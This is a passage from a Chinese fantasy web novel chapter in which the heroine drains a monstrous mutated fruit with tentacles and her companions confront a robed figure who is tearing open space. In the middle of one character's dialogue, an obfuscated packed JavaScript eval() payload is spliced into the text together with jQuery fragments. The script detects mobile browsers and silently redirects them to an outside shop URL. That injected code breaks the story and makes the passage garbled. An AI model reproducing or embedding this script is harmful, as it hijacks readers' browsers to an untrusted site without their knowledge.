岁宴宁颔首,眼神一凛。
数条粗壮的触手自黑雾中激射而出,精准地钩住【神判】刀柄!
触手与她相连,可以算是她身体的一部分,岁宴宁已经准备好承接【神判】的灼痛,触手下的神器却与上次截然相反,平静异常。
她来不及思索更多,触手猛地收缩、发力!
岁宴宁借着这股力道,身体如同被投石机抛出,划出一道弧线,越过【神判】,直扑向巨型秋果!
秋果似乎感应到威胁,巨口嘶吼着转向岁宴宁扑来的方向,试图将她一口吞下。
她在半空调整身形,稳稳落在了秋果的顶部。
身后,一条,两条,十条,数十条……黑红色的触手裂开狰狞的口器,如同疯狂生长的巨型藤蔓,以岁宴宁立足点为中心,向四周急速蔓延,一圈又一圈地将庞大的秋果死死缠缚起来!
“咔、咔…”令人牙酸的挤压声响起。
秋果被缠绕的部分明显凹陷下去,果皮破裂,流出浓稠的、散发恶臭的绿色汁液。
“它…它好像在变小?”般般趴在枝条上,努力睁大眼睛,不太确定地对旁边的顾京墨说。
“不是变小,是它体内的异变灵气在被快速抽走!你看那些触手的颜色!”
果然,那些缠绕秋果的触手表面,颜色开始明灭不定地闪烁,仿佛有无数灵气在其中奔涌流淌。
岁宴宁背后那只巨大的黑底金瞳,瞳仁中的金色光芒璀璨夺目,带着漠视一切的、纯粹的吞噬意志。
“咻!咻!!”
周围的水松彻底狂暴!
如同被触怒的蜂群,枝条疯狂扭动、抽打、攒刺,从四面八方朝着岁宴宁攻去!几乎封死了所有闪避的空间!
就在这千钧一发之际。
“嗤!”
一道尖锐的破空声,撕裂了所有嘈杂!
凝练的白色流光,如同坠落的彗星,以超越视觉捕捉的速度凌空射来!深深钉入了距离岁宴宁最近的枝条!
岁宴宁霍然抬头,循着箭矢来路望去。
正对面不远处的半空中,沈栀凌空而立,周身衣袂被气流卷动。
他手中握着的,不再是那柄黑色巨镰,而是一把充满蛮荒与肃杀之美的黑色长弓!
弓身并非一体,而是由七截长短不一的苍白骨骼榫接而成,骨节分明,衔接处并非死物,一半黑色筋膜、一半白色筋膜,正在微微搏动着。
是【神判】!它竟然能变换形态!
没有箭矢搭上弓弦,他只是将那张骨弓拉至满月,然后松弦!
弓弦连震!
霎那间,成百上千道白色流光如同疾风暴雨,以沈栀为中心,呈一个完美的扇形向前方覆盖激射!
“噗噗噗——!!!”
密集到令人头皮发麻的穿透声骤然响起!
无数锋利坚韧的水松枝条在这密集而强悍的箭雨下被击断、炸碎。
他脸色沉静,眼神专注,在岁宴宁周身清理出一片安全区域!
岁宴宁收回目光,深吸一口气,再次闭上了眼睛。
这一次,她的视线切换了。
透过金色的瞳仁,她看到她的双手被触手延伸固定。
她看到秋果体内那庞大而混乱的异变灵气,正如决堤的洪水般,被身上吸附的无数触手口器疯狂吞噬。
秋果以肉眼可见的速度干瘪,逐渐变得透明。
突然,岁宴宁动作一滞,她睁开眼,金色瞳仁的视角同步切断。
她清晰地感觉到了一种饱和与阻滞感。
第三只眼的吞噬之力已到达极限。
她毫不犹豫,足下用力一蹬,从秋果顶端向后跃开。
几乎就在她跳离的同时。
“噗!”一声轻响,像是被戳破的巨大水泡。
巨型秋果再也维持不住那扭曲庞大的形态,它急剧收缩,果皮变得干瘪普通。
最终,一个只有拳头大小、大半透明的普通果实,从空中掉落,滚进了下方黑褐色的沼泽泥浆里。
疯狂舞动的水松林,像是瞬间被抽掉了所有力气,所有枝条的扭动同时停止。
“太厉害了姐姐!”般般第一个欢呼出声,小脸因为兴奋涨得通红。
顾京墨也长长舒了一口气,笑着开口:“不愧是超甲级啊,简直是降维打击!”
他们俩你一言我一语,说得热闹。
岁宴宁刚解开听觉,微微偏着头,有些疑惑地看着他们,问道:“你们说什么?”
顾京墨和般般同时一愣。
然后,他们就听见旁边传来一声极轻的、压抑不住的笑意。
沈栀不知何时收起了【神判】,正从稍远的枝条上凌空踏步而来。
他脸上没什么大幅度的表情,但那双总是冷凝的眼眸里,此刻却漾开了一点极淡、却真实存在的笑意。
意外地…好看。
岁宴宁看着那抹转瞬即逝的笑,微微怔了一瞬。
沈栀被她直勾勾的目光看得有些不自在,微微偏过头,轻咳一声。
他看向众人前方:“我们出来了。”
“现在往哪边走?”
沈栀没说话,面前弹出一面半透明的金色光屏。
光屏上只有大片扭曲的波纹,一个红点如同失控的蜂鸟,在屏幕上无规律地高速跳动。
四个脑袋凑在光屏前,看了好一会儿。
“这信号…是不是出问题了?”般般忍不住小声问道。
顾京墨摸着下巴:“能量场干扰太强了,无主之地深处就是这样,常规追踪手段容易失灵。”
也就是说,他们暂时失去了目标的方向。
四人一时沉默。
岁宴宁突然动了,她手一翻,掌心托着一个油纸包,以迅雷不及掩耳之势打开,抓起东西塞进嘴里。
旁边的般般眼睛一亮,同样飞快地拿出一个油纸包,张大嘴塞进嘴里。
两人动作飞快,姿态鬼鬼祟祟,一旁的顾京墨看得一愣。
“…你们在吃什么?”顾京墨忍不住问道。
岁宴宁嘴里鼓鼓囊囊,快速咀嚼吞咽,含糊地吐出三个字:“肉包子。”
顾京墨嘴角抽了抽:“肉包子?为什么要吃这么快?”
好像怕被人抢一样。
岁宴宁终于把嘴里的食物咽了下去,闻言,用一种看傻子的眼神瞥了顾京墨一眼。
电光石火间,他想起了自己那盘刚端出来没多久,就迅速凝结成冰碴的桂花糖藕…
他默默把后面的话咽了回去。
岁宴宁将油纸团起来塞到口袋里:“如果信号不稳,还有其他方法能追踪到那人的踪迹吗?”
沈栀的目光从光屏上移开,沉默了几秒。
忽然,他转过头,视线落在了顾京墨身上。
岁宴宁和般般察觉到他的目光,也齐刷刷地跟着看向了顾京墨。
突然被三道目光直勾勾盯着,顾京墨一怔。
他清了清嗓子,不急着解释,反而卖起关子来:“咳,你们知道,这次行动,为什么非要带上我吗?”
“因为你是个甲级辅助。”般般立刻回答。
岁宴宁点头,客观补充:“辅助能力还不错。”
顾京墨伸出一根手指摇了摇,带着点秘而不宣的意味:“虽然你们说得不错,但是,除此之外,还有一个更重要的原因…”
......
“顾京墨,你的感觉到底靠不靠谱啊?!”
狂风裹挟着潮湿的雾气拍打在脸上,般般被吹得有些睁不开眼,忍不住扯开嗓子喊。
前方传来顾京墨信心十足的回答:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732509|203127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
当然靠谱!之前追丢了的域族,可都是靠我的感觉找到的!”
岁宴宁没有说话,她全神贯注看着前方。
周围的温度在急剧降低,雾气中蕴含的异变灵气浓度在急剧攀升。
即使有澄光镜加持,视线所及也越来越模糊,仿佛闯入了一片某个怪物正在蠕动的巨型胃袋。
心中那股萦绕不散的不安感,此刻如同被不断吹胀的气球,越来越鼓胀,越来越清晰。
“唰!”像是穿透了一层厚重湿冷的薄膜,又像是骤然从深海浮出水面,眼前豁然开朗!
浓雾在抵达某条边界时,像是撞上了一堵透明墙壁,被死死阻隔在外。
雾气贴着边界向上翻滚、堆积,形成了一个巨大的、倒扣碗状的雾墙,将他们此刻所在的这片区域严密地包围起来,圈成了一个直径至少数百米的圆形空旷地带。
这片土地,寸草不生,一片死寂。
岁宴宁仰起头,呼吸一滞!
无数巨大的、缓慢旋转的漩涡,布满了圆形区域上方的整个天穹!
就在那些漩涡之下,一道白色的身影,正静静飘浮在半空。
他穿着一身样式古朴的白色长袍,但那袍子穿在他身上显得异常宽大空荡,仿佛套在了一副过于瘦削的骨架上。
狂风吹得他衣袍猎猎作响,整个人在风中飘摇不定。
岁宴宁心头一沉,她偏过头,看向沈栀:“是他?”
沈栀的目光锁死空中那道白色身影,声音冷冽:“是。”
“他在干什么?”
“撕裂空间。”
岁宴宁心脏猛地一跳,撕裂空间?
域族竟然能在神谴之地打开时空隧道?
果然,那些高速旋转的漩涡深处,像是有什么不规则的轮廓在隐隐蠕动。
他是想彻底撕开一个足够大的、能让某些东西大规模通过的洞口!
“他是要打开时空裂缝,接引同族?”岁宴宁声音发寒。
“打吗?”她问。
沈栀的回答没有丝毫犹豫,“打!”
话音落下的瞬间,两人几乎同时动了!
没有眼神交流,没有战术布置,仿佛早已演练过千百遍。
岁宴宁目标明确,径直扑向半空中那道白色身影。
与此同时,沈栀凌空踏步,身形向上拔升数丈,【神判】在他手中黑光流转,瞬间由镰化弓!
顾京墨反应极快,几乎在沈栀动身的同一刹那,他头顶黑白棋子虚影浮现,层层增幅落在沈栀身上。
【神判】所化的黑色骨弓被沈栀稳稳握住,弓弦瞬间拉至满月。
成百上千道白色流光骤然分流,齐齐冲向天空中最密集的那片漩涡!
箭雨没入漩涡中心的瞬间,如同泥牛入海。
沈栀神色不变,他搭在弓弦上的手指极其细微地调整了一个角度。
下一秒,弓弦再震!
白色流光全部射向其中一个旋转速度相对较缓的中型漩涡!
“轰!!!”
失衡暴走的能量化作惨白的光球急剧膨胀,恐怖的冲击波横扫半空,不仅将邻近的几个小漩涡撕得粉碎,狂暴的能量乱流更是将下方的白衣人如断线风筝般狠狠击飞。
白衣人如遭重锤,一口鲜血狂喷而出,身体不受控制地急速坠落。
风声在耳边呼啸,他却似乎感觉不到疼痛,染血的嘴角咧开一个怪异扭曲的弧度:“晚了…哈哈…已经来不及了…”
疯狂的笑声未绝。
一个清亮,甚至带着点好奇的女声,突兀地在他耳边响起。
“哦?”
涣散的瞳孔急速聚焦,透过头顶刺眼的白光,隐约看到一个高挑矫健的身影,正从天而降,速度比他坠落更快!
一只黑靴,自上方重重踏落!